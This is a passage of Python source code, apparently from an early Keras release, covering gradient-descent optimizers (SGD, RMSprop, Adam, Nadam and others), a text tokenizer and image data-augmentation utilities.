        '''Returns the current weights of the optimizer,
        as a list of numpy arrays.
        '''
        return K.batch_get_value(self.weights)

    def get_config(self):
        config = {}
        if hasattr(self, 'clipnorm'):
            config['clipnorm'] = self.clipnorm
        if hasattr(self, 'clipvalue'):
            config['clipvalue'] = self.clipvalue
        return config

    @classmethod
    def from_config(cls, config):
        return cls(**config)


class SGD(Optimizer):
    '''Stochastic gradient descent, with support for momentum,
    learning rate decay, and Nesterov momentum.

    # Arguments
        lr: float >= 0. Learning rate.
        momentum: float >= 0. Parameter updates momentum.
        decay: float >= 0. Learning rate decay over each update.
        nesterov: boolean. Whether to apply Nesterov momentum.
    '''
    def __init__(self, lr=0.01, momentum=0., decay=0.,
                 nesterov=False, **kwargs):
        super(SGD, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.iterations = K.variable(0.)
        self.lr = K.variable(lr)
        self.momentum = K.variable(momentum)
        self.decay = K.variable(decay)

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        lr = self.lr * (1. / (1. + self.decay * self.iterations))
        self.updates = [K.update_add(self.iterations, 1)]

        # momentum
        shapes = [x.shape for x in K.batch_get_value(params)]
        moments = [K.zeros(shape) for shape in shapes]
        self.weights = [self.iterations] + moments
        for p, g, m in zip(params, grads, moments):
            v = self.momentum * m - lr * g  # velocity
            self.updates.append(K.update(m, v))

            if self.nesterov:
                new_p = p + self.momentum * v - lr * g
            else:
                new_p = p + v

            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)

            self.updates.append(K.update(p, new_p))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'momentum': float(K.get_value(self.momentum)),
                  'decay': float(K.get_value(self.decay)),
                  'nesterov': self.nesterov}
        base_config = super(SGD, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class RMSprop(Optimizer):
    '''RMSProp optimizer.

    It is recommended to leave the parameters of this optimizer
    at their default values
    (except the learning rate, which can be freely tuned).

    This optimizer is usually a good choice for recurrent
    neural networks.

    # Arguments
        lr: float >= 0. Learning rate.
        rho: float >= 0.
        epsilon: float >= 0. Fuzz factor.
    '''
    def __init__(self, lr=0.001, rho=0.9, epsilon=1e-8, **kwargs):
        super(RMSprop, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.lr = K.variable(lr)
        self.rho = K.variable(rho)

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        shapes = [x.shape for x in K.batch_get_value(params)]
        accumulators = [K.zeros(shape) for shape in shapes]
        self.weights = accumulators
        self.updates = []

        for p, g, a in zip(params, grads, accumulators):
            # update accumulator
            new_a = self.rho * a + (1. - self.rho) * K.square(g)
            self.updates.append(K.update(a, new_a))
            new_p = p - self.lr * g / (K.sqrt(new_a) + self.epsilon)

            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)
            self.updates.append(K.update(p, new_p))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'rho': float(K.get_value(self.rho)),
                  'epsilon': self.epsilon}
        base_config = super(RMSprop, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Adagrad(Optimizer):
    '''Adagrad optimizer.

    It is recommended to leave the parameters of this optimizer
    at their default values.

    # Arguments
        lr: float >= 0. Learning rate.
        epsilon: float >= 0.
    
    # References
        - [Adaptive Subgradient Methods for Online Learning and Stochastic Optimization](http://www.jmlr.org/papers/volume12/duchi11a/duchi11a.pdf)
    '''
    def __init__(self, lr=0.01, epsilon=1e-8, **kwargs):
        super(Adagrad, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.lr = K.variable(lr)

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        shapes = [x.shape for x in K.batch_get_value(params)]
        accumulators = [K.zeros(shape) for shape in shapes]
        self.weights = accumulators
        self.updates = []

        for p, g, a in zip(params, grads, accumulators):
            new_a = a + K.square(g)  # update accumulator
            self.updates.append(K.update(a, new_a))
            new_p = p - self.lr * g / (K.sqrt(new_a) + self.epsilon)
            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)
            self.updates.append(K.update(p, new_p))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'epsilon': self.epsilon}
        base_config = super(Adagrad, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Adadelta(Optimizer):
    '''Adadelta optimizer.

    It is recommended to leave the parameters of this optimizer
    at their default values.

    # Arguments
        lr: float >= 0. Learning rate.
            It is recommended to leave it at the default value.
        rho: float >= 0.
        epsilon: float >= 0. Fuzz factor.

    # References
        - [Adadelta - an adaptive learning rate method](http://arxiv.org/abs/1212.5701)
    '''
    def __init__(self, lr=1.0, rho=0.95, epsilon=1e-8, **kwargs):
        super(Adadelta, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.lr = K.variable(lr)

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        shapes = [x.shape for x in K.batch_get_value(params)]
        accumulators = [K.zeros(shape) for shape in shapes]
        delta_accumulators = [K.zeros(shape) for shape in shapes]
        self.weights = accumulators + delta_accumulators
        self.updates = []

        for p, g, a, d_a in zip(params, grads, accumulators, delta_accumulators):
            # update accumulator
            new_a = self.rho * a + (1. - self.rho) * K.square(g)
            self.updates.append(K.update(a, new_a))

            # use the new accumulator and the *old* delta_accumulator
            update = g * K.sqrt(d_a + self.epsilon) / K.sqrt(new_a + self.epsilon)

            new_p = p - self.lr * update
            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)
            self.updates.append(K.update(p, new_p))

            # update delta_accumulator
            new_d_a = self.rho * d_a + (1 - self.rho) * K.square(update)
            self.updates.append(K.update(d_a, new_d_a))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'rho': self.rho,
                  'epsilon': self.epsilon}
        base_config = super(Adadelta, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Adam(Optimizer):
    '''Adam optimizer.

    Default parameters follow those provided in the original paper.

    # Arguments
        lr: float >= 0. Learning rate.
        beta_1/beta_2: floats, 0 < beta < 1. Generally close to 1.
        epsilon: float >= 0. Fuzz factor.

    # References
        - [Adam - A Method for Stochastic Optimization](http://arxiv.org/abs/1412.6980v8)
    '''
    def __init__(self, lr=0.001, beta_1=0.9, beta_2=0.999,
                 epsilon=1e-8, **kwargs):
        super(Adam, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.iterations = K.variable(0)
        self.lr = K.variable(lr)
        self.beta_1 = K.variable(beta_1)
        self.beta_2 = K.variable(beta_2)

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        self.updates = [K.update_add(self.iterations, 1)]

        t = self.iterations + 1
        lr_t = self.lr * K.sqrt(1. - K.pow(self.beta_2, t)) / (1. - K.pow(self.beta_1, t))

        shapes = [x.shape for x in K.batch_get_value(params)]
        ms = [K.zeros(shape) for shape in shapes]
        vs = [K.zeros(shape) for shape in shapes]
        self.weights = [self.iterations] + ms + vs

        for p, g, m, v in zip(params, grads, ms, vs):
            m_t = (self.beta_1 * m) + (1. - self.beta_1) * g
            v_t = (self.beta_2 * v) + (1. - self.beta_2) * K.square(g)
            p_t = p - lr_t * m_t / (K.sqrt(v_t) + self.epsilon)

            self.updates.append(K.update(m, m_t))
            self.updates.append(K.update(v, v_t))

            new_p = p_t
            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)
            self.updates.append(K.update(p, new_p))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'beta_1': float(K.get_value(self.beta_1)),
                  'beta_2': float(K.get_value(self.beta_2)),
                  'epsilon': self.epsilon}
        base_config = super(Adam, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Adamax(Optimizer):
    '''Adamax optimizer from Adam paper's Section 7. It is a variant
     of Adam based on the infinity norm.

    Default parameters follow those provided in the paper.

    # Arguments
        lr: float >= 0. Learning rate.
        beta_1/beta_2: floats, 0 < beta < 1. Generally close to 1.
        epsilon: float >= 0. Fuzz factor.

    # References
        - [Adam - A Method for Stochastic Optimization](http://arxiv.org/abs/1412.6980v8)
    '''
    def __init__(self, lr=0.002, beta_1=0.9, beta_2=0.999,
                 epsilon=1e-8, **kwargs):
        super(Adamax, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.iterations = K.variable(0.)
        self.lr = K.variable(lr)
        self.beta_1 = K.variable(beta_1)
        self.beta_2 = K.variable(beta_2)

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        self.updates = [K.update_add(self.iterations, 1)]

        t = self.iterations + 1
        lr_t = self.lr / (1. - K.pow(self.beta_1, t))

        shapes = [x.shape for x in K.batch_get_value(params)]
        # zero init of 1st moment
        ms = [K.zeros(shape) for shape in shapes]
        # zero init of exponentially weighted infinity norm
        us = [K.zeros(shape) for shape in shapes]
        self.weights = [self.iterations] + ms + us

        for p, g, m, u in zip(params, grads, ms, us):

            m_t = (self.beta_1 * m) + (1. - self.beta_1) * g
            u_t = K.maximum(self.beta_2 * u, K.abs(g))
            p_t = p - lr_t * m_t / (u_t + self.epsilon)

            self.updates.append(K.update(m, m_t))
            self.updates.append(K.update(u, u_t))

            new_p = p_t
            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)
            self.updates.append(K.update(p, new_p))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'beta_1': float(K.get_value(self.beta_1)),
                  'beta_2': float(K.get_value(self.beta_2)),
                  'epsilon': self.epsilon}
        base_config = super(Adamax, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


class Nadam(Optimizer):
    '''
    Nesterov Adam optimizer: Much like Adam is essentially RMSprop with momentum,
    Nadam is Adam RMSprop with Nesterov momentum.

    Default parameters follow those provided in the paper.
    It is recommended to leave the parameters of this optimizer
    at their default values.

    # Arguments
        lr: float >= 0. Learning rate.
        beta_1/beta_2: floats, 0 < beta < 1. Generally close to 1.
        epsilon: float >= 0. Fuzz factor.

    # References
        - [Nadam report](http://cs229.stanford.edu/proj2015/054_report.pdf)
        - [On the importance of initialization and momentum in deep learning](http://www.cs.toronto.edu/~fritz/absps/momentum.pdf)
    '''
    def __init__(self, lr=0.002, beta_1=0.9, beta_2=0.999,
                 epsilon=1e-8, schedule_decay=0.004, **kwargs):
        super(Nadam, self).__init__(**kwargs)
        self.__dict__.update(locals())
        self.iterations = K.variable(0.)
        self.m_schedule = K.variable(1.)
        self.lr = K.variable(lr)
        self.beta_1 = K.variable(beta_1)
        self.beta_2 = K.variable(beta_2)
        self.schedule_decay = schedule_decay

    def get_updates(self, params, constraints, loss):
        grads = self.get_gradients(loss, params)
        self.updates = [K.update_add(self.iterations, 1)]

        t = self.iterations + 1

        # Due to the recommendations in [2], i.e. warming momentum schedule
        momentum_cache_t = self.beta_1 * (1. - 0.5 * (K.pow(0.96, t * self.schedule_decay)))
        momentum_cache_t_1 = self.beta_1 * (1. - 0.5 * (K.pow(0.96, (t + 1) * self.schedule_decay)))
        m_schedule_new = self.m_schedule * momentum_cache_t
        m_schedule_next = self.m_schedule * momentum_cache_t * momentum_cache_t_1
        self.updates.append((self.m_schedule, m_schedule_new))

        shapes = [x.shape for x in K.batch_get_value(params)]
        ms = [K.zeros(shape) for shape in shapes]
        vs = [K.zeros(shape) for shape in shapes]

        self.weights = [self.iterations] + ms + vs

        for p, g, m, v in zip(params, grads, ms, vs):
            # the following equations given in [1]
            g_prime = g / (1. - m_schedule_new)
            m_t = self.beta_1 * m + (1. - self.beta_1) * g
            m_t_prime = m_t / (1. - m_schedule_next)
            v_t = self.beta_2 * v + (1. - self.beta_2) * K.square(g)
            v_t_prime = v_t / (1. - K.pow(self.beta_2, t))
            m_t_bar = (1. - momentum_cache_t) * g_prime + momentum_cache_t_1 * m_t_prime

            self.updates.append(K.update(m, m_t))
            self.updates.append(K.update(v, v_t))

            p_t = p - self.lr * m_t_bar / (K.sqrt(v_t_prime) + self.epsilon)
            new_p = p_t

            # apply constraints
            if p in constraints:
                c = constraints[p]
                new_p = c(new_p)
            self.updates.append(K.update(p, new_p))
        return self.updates

    def get_config(self):
        config = {'lr': float(K.get_value(self.lr)),
                  'beta_1': float(K.get_value(self.beta_1)),
                  'beta_2': float(K.get_value(self.beta_2)),
                  'epsilon': self.epsilon,
                  'schedule_decay': self.schedule_decay}
        base_config = super(Nadam, self).get_config()
        return dict(list(base_config.items()) + list(config.items()))


# aliases
sgd = SGD
rmsprop = RMSprop
adagrad = Adagrad
adadelta = Adadelta
adam = Adam
adamax = Adamax
nadam = Nadam


def get(identifier, kwargs=None):
    return get_from_module(identifier, globals(), 'optimizer',
                           instantiate=True, kwargs=kwargs)












# -*- coding: utf-8 -*-
'''These preprocessing utilities would greatly benefit
from a fast Cython rewrite.
'''
from __future__ import absolute_import
from __future__ import division

import string
import sys
import numpy as np
from six.moves import range
from six.moves import zip

if sys.version_info < (3,):
    maketrans = string.maketrans
else:
    maketrans = str.maketrans


def base_filter():
    f = string.punctuation
    f = f.replace("'", '')
    f += '\t\n'
    return f


def text_to_word_sequence(text, filters=base_filter(), lower=True, split=" "):
    '''prune: sequence of characters to filter out
    '''
    if lower:
        text = text.lower()
    text = text.translate(maketrans(filters, split*len(filters)))
    seq = text.split(split)
    return [_f for _f in seq if _f]


def one_hot(text, n, filters=base_filter(), lower=True, split=" "):
    seq = text_to_word_sequence(text, filters=filters, lower=lower, split=split)
    return [(abs(hash(w)) % (n - 1) + 1) for w in seq]


class Tokenizer(object):
    def __init__(self, nb_words=None, filters=base_filter(),
                 lower=True, split=' ', char_level=False):
        '''The class allows to vectorize a text corpus, by turning each
        text into either a sequence of integers (each integer being the index
        of a token in a dictionary) or into a vector where the coefficient
        for each token could be binary, based on word count, based on tf-idf...

        # Arguments
            nb_words: the maximum number of words to keep, based
                on word frequency. Only the most common `nb_words` words will
                be kept.
            filters: a string where each element is a character that will be
                filtered from the texts. The default is all punctuation, plus
                tabs and line breaks, minus the `'` character.
            lower: boolean. Whether to convert the texts to lowercase.
            split: character or string to use for token splitting.
            char_level: if True, every character will be treated as a word.

        By default, all punctuation is removed, turning the texts into
        space-separated sequences of words
        (words maybe include the `'` character). These sequences are then
        split into lists of tokens. They will then be indexed or vectorized.

        `0` is a reserved index that won't be assigned to any word.
        '''
        self.word_counts = {}
        self.word_docs = {}
        self.filters = filters
        self.split = split
        self.lower = lower
        self.nb_words = nb_words
        self.document_count = 0
        self.char_level = char_level

    def fit_on_texts(self, texts):
        '''Required before using texts_to_sequences or texts_to_matrix

        # Arguments
            texts: can be a list of strings,
                or a generator of strings (for memory-efficiency)
        '''
        self.document_count = 0
        for text in texts:
            self.document_count += 1
            seq = text if self.char_level else text_to_word_sequence(text, self.filters, self.lower, self.split)
            for w in seq:
                if w in self.word_counts:
                    self.word_counts[w] += 1
                else:
                    self.word_counts[w] = 1
            for w in set(seq):
                if w in self.word_docs:
                    self.word_docs[w] += 1
                else:
                    self.word_docs[w] = 1

        wcounts = list(self.word_counts.items())
        wcounts.sort(key=lambda x: x[1], reverse=True)
        sorted_voc = [wc[0] for wc in wcounts]
        # note that index 0 is reserved, never assigned to an existing word
        self.word_index = dict(list(zip(sorted_voc, list(range(1, len(sorted_voc) + 1)))))

        self.index_docs = {}
        for w, c in list(self.word_docs.items()):
            self.index_docs[self.word_index[w]] = c

    def fit_on_sequences(self, sequences):
        '''Required before using sequences_to_matrix
        (if fit_on_texts was never called)
        '''
        self.document_count = len(sequences)
        self.index_docs = {}
        for seq in sequences:
            seq = set(seq)
            for i in seq:
                if i not in self.index_docs:
                    self.index_docs[i] = 1
                else:
                    self.index_docs[i] += 1

    def texts_to_sequences(self, texts):
        '''Transforms each text in texts in a sequence of integers.
        Only top "nb_words" most frequent words will be taken into account.
        Only words known by the tokenizer will be taken into account.

        Returns a list of sequences.
        '''
        res = []
        for vect in self.texts_to_sequences_generator(texts):
            res.append(vect)
        return res

    def texts_to_sequences_generator(self, texts):
        '''Transforms each text in texts in a sequence of integers.
        Only top "nb_words" most frequent words will be taken into account.
        Only words known by the tokenizer will be taken into account.

        Yields individual sequences.

        # Arguments:
            texts: list of strings.
        '''
        nb_words = self.nb_words
        for text in texts:
            seq = text if self.char_level else text_to_word_sequence(text, self.filters, self.lower, self.split)
            vect = []
            for w in seq:
                i = self.word_index.get(w)
                if i is not None:
                    if nb_words and i >= nb_words:
                        continue
                    else:
                        vect.append(i)
            yield vect

    def texts_to_matrix(self, texts, mode='binary'):
        '''Convert a list of texts to a Numpy matrix,
        according to some vectorization mode.

        # Arguments:
            texts: list of strings.
            modes: one of "binary", "count", "tfidf", "freq"
        '''
        sequences = self.texts_to_sequences(texts)
        return self.sequences_to_matrix(sequences, mode=mode)

    def sequences_to_matrix(self, sequences, mode='binary'):
        '''Converts a list of sequences into a Numpy matrix,
        according to some vectorization mode.

        # Arguments:
            sequences: list of sequences
                (a sequence is a list of integer word indices).
            modes: one of "binary", "count", "tfidf", "freq"
        '''
        if not self.nb_words:
            if self.word_index:
                nb_words = len(self.word_index) + 1
            else:
                raise Exception('Specify a dimension (nb_words argument), '
                                'or fit on some text data first.')
        else:
            nb_words = self.nb_words

        if mode == 'tfidf' and not self.document_count:
            raise Exception('Fit the Tokenizer on some data '
                            'before using tfidf mode.')

        X = np.zeros((len(sequences), nb_words))
        for i, seq in enumerate(sequences):
            if not seq:
                continue
            counts = {}
            for j in seq:
                if j >= nb_words:
                    continue
                if j not in counts:
                    counts[j] = 1.
                else:
                    counts[j] += 1
            for j, c in list(counts.items()):
                if mode == 'count':
                    X[i][j] = c
                elif mode == 'freq':
                    X[i][j] = c / len(seq)
                elif mode == 'binary':
                    X[i][j] = 1
                elif mode == 'tfidf':
                    # Use weighting scheme 2 in
                    #   https://en.wikipedia.org/wiki/Tf%E2%80%93idf
                    tf = 1 + np.log(c)
                    idf = np.log(1 + self.document_count / (1 + self.index_docs.get(j, 0)))
                    X[i][j] = tf * idf
                else:
                    raise Exception('Unknown vectorization mode: ' + str(mode))
        return X






'''Fairly basic set of tools for real-time data augmentation on image data.
Can easily be extended to include new transformations,
new preprocessing methods, etc...
'''
from __future__ import absolute_import
from __future__ import print_function

import numpy as np
import re
from scipy import linalg
import scipy.ndimage as ndi
from six.moves import range
import os
import threading

from .. import backend as K


def random_rotation(x, rg, row_index=1, col_index=2, channel_index=0,
                    fill_mode='nearest', cval=0.):
    theta = np.pi / 180 * np.random.uniform(-rg, rg)
    rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0],
                                [np.sin(theta), np.cos(theta), 0],
                                [0, 0, 1]])

    h, w = x.shape[row_index], x.shape[col_index]
    transform_matrix = transform_matrix_offset_center(rotation_matrix, h, w)
    x = apply_transform(x, transform_matrix, channel_index, fill_mode, cval)
    return x


def random_shift(x, wrg, hrg, row_index=1, col_index=2, channel_index=0,
                 fill_mode='nearest', cval=0.):
    h, w = x.shape[row_index], x.shape[col_index]
    tx = np.random.uniform(-hrg, hrg) * h
    ty = np.random.uniform(-wrg, wrg) * w
    translation_matrix = np.array([[1, 0, tx],
                                   [0, 1, ty],
                                   [0, 0, 1]])

    transform_matrix = translation_matrix  # no need to do offset
    x = apply_transform(x, transform_matrix, channel_index, fill_mode, cval)
    return x


def random_shear(x, intensity, row_index=1, col_index=2, channel_index=0,
                 fill_mode='nearest', cval=0.):
    shear = np.random.uniform(-intensity, intensity)
    shear_matrix = np.array([[1, -np.sin(shear), 0],
                             [0, np.cos(shear), 0],
                             [0, 0, 1]])

    h, w = x.shape[row_index], x.shape[col_index]
    transform_matrix = transform_matrix_offset_center(shear_matrix, h, w)
    x = apply_transform(x, transform_matrix, channel_index, fill_mode, cval)
    return x


def random_zoom(x, zoom_range, row_index=1, col_index=2, channel_index=0,
                fill_mode='nearest', cval=0.):
    if len(zoom_range) != 2:
        raise Exception('zoom_range should be a tuple or list of two floats. '
                        'Received arg: ', zoom_range)

    if zoom_range[0] == 1 and zoom_range[1] == 1:
        zx, zy = 1, 1
    else:
        zx, zy = np.random.uniform(zoom_range[0], zoom_range[1], 2)
    zoom_matrix = np.array([[zx, 0, 0],
                            [0, zy, 0],
                            [0, 0, 1]])

    h, w = x.shape[row_index], x.shape[col_index]
    transform_matrix = transform_matrix_offset_center(zoom_matrix, h, w)
    x = apply_transform(x, transform_matrix, channel_index, fill_mode, cval)
    return x


def random_barrel_transform(x, intensity):
    # TODO
    pass


def random_channel_shift(x, intensity, channel_index=0):
    x = np.rollaxis(x, channel_index, 0)
    min_x, max_x = np.min(x), np.max(x)
    channel_images = [np.clip(x_channel + np.random.uniform(-intensity, intensity), min_x, max_x)
                      for x_channel in x]
    x = np.stack(channel_images, axis=0)
    x = np.rollaxis(x, 0, channel_index+1)
    return x


def transform_matrix_offset_center(matrix, x, y):
    o_x = float(x) / 2 + 0.5
    o_y = float(y) / 2 + 0.5
    offset_matrix = np.array([[1, 0, o_x], [0, 1, o_y], [0, 0, 1]])
    reset_matrix = np.array([[1, 0, -o_x], [0, 1, -o_y], [0, 0, 1]])
    transform_matrix = np.dot(np.dot(offset_matrix, matrix), reset_matrix)
    return transform_matrix


def apply_transform(x, transform_matrix, channel_index=0, fill_mode='nearest', cval=0.):
    x = np.rollaxis(x, channel_index, 0)
    final_affine_matrix = transform_matrix[:2, :2]
    final_offset = transform_matrix[:2, 2]
    channel_images = [ndi.interpolation.affine_transform(x_channel, final_affine_matrix,
                      final_offset, order=0, mode=fill_mode, cval=cval) for x_channel in x]
    x = np.stack(channel_images, axis=0)
    x = np.rollaxis(x, 0, channel_index+1)
    return x


def flip_axis(x, axis):
    x = np.asarray(x).swapaxes(axis, 0)
    x = x[::-1, ...]
    x = x.swapaxes(0, axis)
    return x


def array_to_img(x, dim_ordering='default', scale=True):
    from PIL import Image
    if dim_ordering == 'default':
        dim_ordering = K.image_dim_ordering()
    if dim_ordering == 'th':
        x = x.transpose(1, 2, 0)
    if scale:
        x += max(-np.min(x), 0)
        x_max = np.max(x)
        if x_max != 0:
            x /= x_max
        x *= 255
    if x.shape[2] == 3:
        # RGB
        return Image.fromarray(x.astype('uint8'), 'RGB')
    elif x.shape[2] == 1:
        # grayscale
        return Image.fromarray(x[:, :, 0].astype('uint8'), 'L')
    else:
        raise Exception('Unsupported channel number: ', x.shape[2])


def img_to_array(img, dim_ordering='default'):
    if dim_ordering == 'default':
        dim_ordering = K.image_dim_ordering()
    if dim_ordering not in ['th', 'tf']:
        raise Exception('Unknown dim_ordering: ', dim_ordering)
    # image has dim_ordering (height, width, channel)
    x = np.asarray(img, dtype='float32')
    if len(x.shape) == 3:
        if dim_ordering == 'th':
            x = x.transpose(2, 0, 1)
    elif len(x.shape) == 2:
        if dim_ordering == 'th':
            x = x.reshape((1, x.shape[0], x.shape[1]))
        else:
            x = x.reshape((x.shape[0], x.shape[1], 1))
    else:
        raise Exception('Unsupported image shape: ', x.shape)
    return x


def load_img(path, grayscale=False, target_size=None):
    from PIL import Image
    img = Image.open(path)
    if grayscale:
        img = img.convert('L')
    else:  # Ensure 3 channel even when loaded image is grayscale
        img = img.convert('RGB')
    if target_size:
        img = img.resize((target_size[1], target_size[0]))
    return img


def list_pictures(directory, ext='jpg|jpeg|bmp|png'):
    return [os.path.join(directory, f) for f in os.listdir(directory)
            if os.path.isfile(os.path.join(directory, f)) and re.match('([\w]+\.(?:' + ext + '))', f)]


class ImageDataGenerator(object):
    '''Generate minibatches with
    real-time data augmentation.

    # Arguments
        featurewise_center: set input mean to 0 over the dataset.
        samplewise_center: set each sample mean to 0.
        featurewise_std_normalization: divide inputs by std of the dataset.
        samplewise_std_normalization: divide each input by its std.
        zca_whitening: apply ZCA whitening.
        rotation_range: degrees (0 to 180).
        width_shift_range: fraction of total width.
        height_shift_range: fraction of total height.
        shear_range: shear intensity (shear angle in radians).
        zoom_range: amount of zoom. if scalar z, zoom will be randomly picked
            in the range [1-z, 1+z]. A sequence of two can be passed instead
            to select this range.
        channel_shift_range: shift range for each channels.
        fill_mode: points outside the boundaries are filled according to the
            given mode ('constant', 'nearest', 'reflect' or 'wrap'). Default
            is 'nearest'.
        cval: value used for points outside the boundaries when fill_mode is
            'constant'. Default is 0.
        horizontal_flip: whether to randomly flip images horizontally.
        vertical_flip: whether to randomly flip images vertically.
        rescale: rescaling factor. If None or 0, no rescaling is applied,
            otherwise we multiply the data by the value provided (before applying
            any other transformation).
        dim_ordering: 'th' or 'tf'. In 'th' mode, the channels dimension
            (the depth) is at index 1, in 'tf' mode it is at index 3.
            It defaults to the `image_dim_ordering` value found in your
            Keras config file at `~/.keras/keras.json`.
            If you never set it, then it will be "th".
    '''
    def __init__(self,
                 featurewise_center=False,
                 samplewise_center=False,
                 featurewise_std_normalization=False,
                 samplewise_std_normalization=False,
                 zca_whitening=False,
                 rotation_range=0.,
                 width_shift_range=0.,
                 height_shift_range=0.,
                 shear_range=0.,
                 zoom_range=0.,
                 channel_shift_range=0.,
                 fill_mode='nearest',
                 cval=0.,
                 horizontal_flip=False,
                 vertical_flip=False,
                 rescale=None,
                 dim_ordering='default'):
        if dim_ordering == 'default':
            dim_ordering = K.image_dim_ordering()
        self.__dict__.update(locals())
        self.mean = None
        self.std = None
        self.principal_components = None
        self.rescale = rescale

        if dim_ordering not in {'tf', 'th'}:
            raise Exception('dim_ordering should be "tf" (channel after row and '
                            'column) or "th" (channel before row and column). '
                            'Received arg: ', dim_ordering)
        self.dim_ordering = dim_ordering
        if dim_ordering == 'th':
            self.channel_index = 1
            self.row_index = 2
            self.col_index = 3
        if dim_ordering == 'tf':
            self.channel_index = 3
            self.row_index = 1
            self.col_index = 2

        if np.isscalar(zoom_range):
            self.zoom_range = [1 - zoom_range, 1 + zoom_range]
        elif len(zoom_range) == 2:
            self.zoom_range = [zoom_range[0], zoom_range[1]]
        else:
            raise Exception('zoom_range should be a float or '
                            'a tuple or list of two floats. '
                            'Received arg: ', zoom_range)

    def flow(self, X, y=None, batch_size=32, shuffle=True, seed=None,
             save_to_dir=None, save_prefix='', save_format='jpeg'):
        return NumpyArrayIterator(
            X, y, self,
            batch_size=batch_size, shuffle=shuffle, seed=seed,
            dim_ordering=self.dim_ordering,
            save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format)

    def flow_from_directory(self, directory,
                            target_size=(256, 256), color_mode='rgb',
                            classes=None, class_mode='categorical',
                            batch_size=32, shuffle=True, seed=None,
                            save_to_dir=None, save_prefix='', save_format='jpeg'):
        return DirectoryIterator(
            directory, self,
            target_size=target_size, color_mode=color_mode,
            classes=classes, class_mode=class_mode,
            dim_ordering=self.dim_ordering,
            batch_size=batch_size, shuffle=shuffle, seed=seed,
            save_to_dir=save_to_dir, save_prefix=save_prefix, save_format=save_format)

    def standardize(self, x):
        if self.rescale:
            x *= self.rescale
        # x is a single image, so it doesn't have image number at index 0
        img_channel_index = self.channel_index - 1
        if self.samplewise_center:
            x -= np.mean(x, axis=img_channel_index, keepdims=True)
        if self.samplewise_std_normalization:
            x /= (np.std(x, axis=img_channel_index, keepdims=True) + 1e-7)

        if self.featurewise_center:
            x -= self.mean
        if self.featurewise_std_normalization:
            x /= (self.std + 1e-7)

        if self.zca_whitening:
            flatx = np.reshape(x, (x.size))
            whitex = np.dot(flatx, self.principal_components)
            x = np.reshape(whitex, (x.shape[0], x.shape[1], x.shape[2]))

        return x

    def random_transform(self, x):
        # x is a single image, so it doesn't have image number at index 0
        img_row_index = self.row_index - 1
        img_col_index = self.col_index - 1
        img_channel_index = self.channel_index - 1

        # use composition of homographies to generate final transform that needs to be applied
        if self.rotation_range:
            theta = np.pi / 180 * np.random.uniform(-self.rotation_range, self.rotation_range)
        else:
            theta = 0
        rotation_matrix = np.array([[np.cos(theta), -np.sin(theta), 0],
                                    [np.sin(theta), np.cos(theta), 0],
                                    [0, 0, 1]])
        if self.height_shift_range:
            tx = np.random.uniform(-self.height_shift_range, self.height_shift_range) * x.shape[img_row_index]
        else:
            tx = 0

        if self.width_shift_range:
            ty = np.random.uniform(-self.width_shift_range, self.width_shift_range) * x.shape[img_col_index]
        else:
            ty = 0

        translation_matrix = np.array([[1, 0, tx],
                                       [0, 1, ty],
                                       [0, 0, 1]])
        if self.shear_range:
            shear = np.random.uniform(-self.shear_range, self.shear_range)
        else:
            shear = 0
        shear_matrix = np.array([[1, -np.sin(shear), 0],
                                 [0, np.cos(shear), 0],
                                 [0, 0, 1]])

        if self.zoom_range[0] == 1 and self.zoom_range[1] == 1:
            zx, zy = 1, 1
        else:
            zx, zy = np.random.uniform(self.zoom_range[0], self.zoom_range[1], 2)
        zoom_matrix = np.array([[zx, 0, 0],
                                [0, zy, 0],
                                [0, 0, 1]])

        transform_matrix = np.dot(np.dot(np.dot(rotation_matrix, translation_matrix), shear_matrix), zoom_matrix)

        h, w = x.shape[img_row_index], x.shape[img_col_index]
        transform_matrix = transform_matrix_offset_center(transform_matrix, h, w)
        x = apply_transform(x, transform_matrix, img_channel_index,
                            fill_mode=self.fill_mode, cval=self.cval)
        if self.channel_shift_range != 0:
            x = random_channel_shift(x, self.channel_shift_range, img_channel_index)

        if self.horizontal_flip:
            if np.random.random() < 0.5:
                x = flip_axis(x, img_col_index)

        if self.vertical_flip:
            if np.random.random() < 0.5:
                x = flip_axis(x, img_row_index)

        # TODO:
        # channel-wise normalization
        # barrel/fisheye
        return x

    def fit(self, X,
            augment=False,
            rounds=1,
            seed=None):
        '''Required for featurewise_center, featurewise_std_normalization
        and zca_whitening.

        # Arguments
            X: Numpy array, the data to fit on.
            augment: whether to fit on randomly augmented samples
            rounds: if `augment`,
                how many augmentation passes to do over the data
            seed: random seed.
        '''
